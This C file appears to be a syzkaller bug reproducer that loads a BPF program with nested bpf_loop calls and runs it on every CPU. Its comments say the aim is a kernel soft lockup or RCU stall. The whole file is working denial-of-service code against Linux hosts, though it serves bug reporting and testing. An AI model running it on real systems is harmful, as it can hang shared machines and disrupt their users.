// https://syzkaller.appspot.com/bug?id=7349616606afa3c986c377792f7ccbf9daae1142
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/bpf.h>
#include <linux/btf.h>
#include <string.h>
#include <sched.h>
#include <sys/wait.h>
#include <errno.h>

#define BPF_MOV64_IMM(DST, IMM) \
    ((struct bpf_insn) { .code = BPF_ALU64 | BPF_MOV | BPF_K, .dst_reg = DST, .src_reg = 0, .off = 0, .imm = IMM })
#define BPF_MOV64_REG(DST, SRC) \
    ((struct bpf_insn) { .code = BPF_ALU64 | BPF_MOV | BPF_X, .dst_reg = DST, .src_reg = SRC, .off = 0, .imm = 0 })
#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
    ((struct bpf_insn) { .code = CODE, .dst_reg = DST, .src_reg = SRC, .off = OFF, .imm = IMM })
#define BPF_EXIT_INSN() \
    ((struct bpf_insn) { .code = BPF_JMP | BPF_EXIT, .dst_reg = 0, .src_reg = 0, .off = 0, .imm = 0 })

#ifndef BPF_PSEUDO_FUNC
#define BPF_PSEUDO_FUNC 4
#endif

#ifndef BPF_FUNC_loop
#define BPF_FUNC_loop 181
#endif

#define BTF_KIND_INT        1
#define BTF_KIND_PTR        2
#define BTF_KIND_FUNC       12
#define BTF_KIND_FUNC_PROTO 13

#define BTF_INFO_ENC(kind, kind_flag, vlen) \
    ((!!(kind_flag) << 31) | ((kind) << 24) | ((vlen) & 0xffff))

#define BTF_INT_ENC(encoding, offset, bits) \
    ((encoding) << 24 | (offset) << 16 | (bits))

#define BTF_FUNC_STATIC 0

struct btf_blob {
    struct btf_header hdr;
    uint32_t types[64];
};

int main(void)
{
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("[*] Starting reproducer...\n");

    struct btf_blob btf = {0};
    btf.hdr.magic = 0xeb9f;
    btf.hdr.version = 1;
    btf.hdr.hdr_len = sizeof(struct btf_header);
    btf.hdr.type_off = 0;

    uint32_t *t = btf.types;
    uint32_t type_len = 0;

    // Type 1: int
    *t++ = 1; // name "int"
    *t++ = BTF_INFO_ENC(BTF_KIND_INT, 0, 0);
    *t++ = 4; // size
    *t++ = BTF_INT_ENC(1, 0, 32);
    type_len += 16;

    // Type 2: u64
    *t++ = 5; // name "u64"
    *t++ = BTF_INFO_ENC(BTF_KIND_INT, 0, 0);
    *t++ = 8; // size
    *t++ = BTF_INT_ENC(0, 0, 64);
    type_len += 16;

    // Type 3: u64 * (PTR to u64)
    *t++ = 0; // no name
    *t++ = BTF_INFO_ENC(BTF_KIND_PTR, 0, 0);
    *t++ = 2; // type 2
    type_len += 12;

    // Type 4: int (u64 a, u64 * b)
    *t++ = 0; // no name
    *t++ = BTF_INFO_ENC(BTF_KIND_FUNC_PROTO, 0, 2);
    *t++ = 1; // return type 1 (int)
    *t++ = 32; // arg 1 name ("a")
    *t++ = 2; // arg 1 type (u64)
    *t++ = 34; // arg 2 name ("b")
    *t++ = 3; // arg 2 type (u64 *)
    type_len += 28;

    // Type 5: int (u64 * a)
    *t++ = 0; // no name
    *t++ = BTF_INFO_ENC(BTF_KIND_FUNC_PROTO, 0, 1);
    *t++ = 1; // return type 1 (int)
    *t++ = 32; // arg 1 name ("a")
    *t++ = 3; // arg 1 type (u64 *)
    type_len += 20;

    // Type 6: main
    *t++ = 9; // name "main"
    *t++ = BTF_INFO_ENC(BTF_KIND_FUNC, 0, BTF_FUNC_STATIC);
    *t++ = 5; // type 5
    type_len += 12;

    // Type 7: outer_cb
    *t++ = 14; // name "outer_cb"
    *t++ = BTF_INFO_ENC(BTF_KIND_FUNC, 0, BTF_FUNC_STATIC);
    *t++ = 4; // type 4
    type_len += 12;

    // Type 8: inner_cb
    *t++ = 23; // name "inner_cb"
    *t++ = BTF_INFO_ENC(BTF_KIND_FUNC, 0, BTF_FUNC_STATIC);
    *t++ = 4; // type 4
    type_len += 12;

    btf.hdr.type_len = type_len;
    btf.hdr.str_off = type_len;

    char *strings = (char *)btf.types + type_len;
    uint32_t str_len = 0;

    strings[str_len++] = '\0'; // 0
    
    strcpy(&strings[str_len], "int");
    str_len += 4; // 1 + 4 = 5
    
    strcpy(&strings[str_len], "u64");
    str_len += 4; // 5 + 4 = 9
    
    strcpy(&strings[str_len], "main");
    str_len += 5; // 9 + 5 = 14
    
    strcpy(&strings[str_len], "outer_cb");
    str_len += 9; // 14 + 9 = 23
    
    strcpy(&strings[str_len], "inner_cb");
    str_len += 9; // 23 + 9 = 32

    strcpy(&strings[str_len], "a");
    str_len += 2; // 32 + 2 = 34

    strcpy(&strings[str_len], "b");
    str_len += 2; // 34 + 2 = 36

    btf.hdr.str_len = str_len;

    char log_buf[65536];
    union bpf_attr btf_attr = {0};
    btf_attr.btf = (uint64_t)&btf;
    btf_attr.btf_size = sizeof(btf.hdr) + type_len + str_len;
    btf_attr.btf_log_level = 1;
    btf_attr.btf_log_buf = (uint64_t)log_buf;
    btf_attr.btf_log_size = sizeof(log_buf);

    int btf_fd = syscall(SYS_bpf, BPF_BTF_LOAD, &btf_attr, sizeof(btf_attr));
    if (btf_fd < 0) {
        printf("[-] BPF_BTF_LOAD failed: %s\n", strerror(errno));
        printf("BTF log:\n%s\n", log_buf);
        exit(1);
    }
    printf("[+] BPF_BTF_LOAD successful.\n");

    struct bpf_insn insns[] = {
        // 0: R1 = 8000000 (outer loop count)
        BPF_MOV64_IMM(BPF_REG_1, 8000000),
        // 1: R2 = outer_cb (offset to outer_cb)
        BPF_RAW_INSN(BPF_LD | BPF_IMM | BPF_DW, BPF_REG_2, BPF_PSEUDO_FUNC, 0, 6),
        // 2: 
        BPF_RAW_INSN(0, 0, 0, 0, 0),
        // 3: R3 = 0 (ctx)
        BPF_MOV64_IMM(BPF_REG_3, 0),
        // 4: R4 = 0 (flags)
        BPF_MOV64_IMM(BPF_REG_4, 0),
        // 5: call bpf_loop
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_loop),
        // 6: R0 = 0
        BPF_MOV64_IMM(BPF_REG_0, 0),
        // 7: exit
        BPF_EXIT_INSN(),

        // outer_cb: (index 8)
        // 8: R1 = 12000 (inner loop count)
        BPF_MOV64_IMM(BPF_REG_1, 12000),
        // 9: R2 = inner_cb (offset to inner_cb)
        BPF_RAW_INSN(BPF_LD | BPF_IMM | BPF_DW, BPF_REG_2, BPF_PSEUDO_FUNC, 0, 6),
        // 10:
        BPF_RAW_INSN(0, 0, 0, 0, 0),
        // 11: R3 = 0 (ctx)
        BPF_MOV64_IMM(BPF_REG_3, 0),
        // 12: R4 = 0 (flags)
        BPF_MOV64_IMM(BPF_REG_4, 0),
        // 13: call bpf_loop
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_loop),
        // 14: R0 = 0
        BPF_MOV64_IMM(BPF_REG_0, 0),
        // 15: exit
        BPF_EXIT_INSN(),

        // inner_cb: (index 16)
        // 16: R0 = 0
        BPF_MOV64_IMM(BPF_REG_0, 0),
        // 17: exit
        BPF_EXIT_INSN(),
    };

    uint32_t func_info[] = {
        0, 6, // insn_off = 0, type_id = 6 (main)
        8, 7, // insn_off = 8, type_id = 7 (outer_cb)
        16, 8, // insn_off = 16, type_id = 8 (inner_cb)
    };

    union bpf_attr attr = {0};
    attr.prog_type = BPF_PROG_TYPE_SOCKET_FILTER;
    attr.insns = (uint64_t)insns;
    attr.insn_cnt = sizeof(insns) / sizeof(insns[0]);
    attr.license = (uint64_t)"GPL";
    attr.log_level = 1;
    attr.log_buf = (uint64_t)log_buf;
    attr.log_size = sizeof(log_buf);
    attr.prog_btf_fd = btf_fd;
    attr.func_info = (uint64_t)func_info;
    attr.func_info_cnt = 3;
    attr.func_info_rec_size = 8;

    int prog_fd = syscall(SYS_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
    if (prog_fd < 0) {
        printf("[-] BPF_PROG_LOAD failed: %s\n", strerror(errno));
        printf("BPF log:\n%s\n", log_buf);
        exit(1);
    }
    printf("[+] BPF_PROG_LOAD successful.\n");

    int num_cpus = sysconf(_SC_NPROCESSORS_ONLN);
    if (num_cpus < 1) num_cpus = 1;
    if (num_cpus > 8) num_cpus = 8; // Cap to avoid fork bombing on large machines

    printf("[*] Spawning %d processes to run BPF_PROG_TEST_RUN...\n", num_cpus);

    for (int i = 0; i < num_cpus; i++) {
        pid_t pid = fork();
        if (pid < 0) {
            printf("[-] fork failed: %s\n", strerror(errno));
            exit(1);
        }
        if (pid == 0) {
            cpu_set_t set;
            CPU_ZERO(&set);
            CPU_SET(i, &set);
            if (sched_setaffinity(0, sizeof(set), &set) < 0) {
                printf("[-] sched_setaffinity failed for cpu %d: %s\n", i, strerror(errno));
            }

            char dummy_data[14] = {0};
            union bpf_attr test_attr = {0};
            test_attr.test.prog_fd = prog_fd;
            test_attr.test.data_in = (uint64_t)dummy_data;
            test_attr.test.data_size_in = sizeof(dummy_data);

            // This will spin in the kernel for ~96 billion iterations.
            // Preemption is disabled (SOCKET_FILTER), so it will trigger a softlockup/RCU stall.
            int res = syscall(SYS_bpf, BPF_PROG_TEST_RUN, &test_attr, sizeof(test_attr));
            if (res < 0) {
                printf("[-] BPF_PROG_TEST_RUN failed in child %d: %s\n", i, strerror(errno));
                exit(1);
            }
            printf("[+] BPF_PROG_TEST_RUN successful in child %d.\n", i);
            exit(0);
        }
    }

    for (int i = 0; i < num_cpus; i++) {
        wait(NULL);
    }

    printf("[+] All children finished.\n");
    sleep(5);

    return 0;
}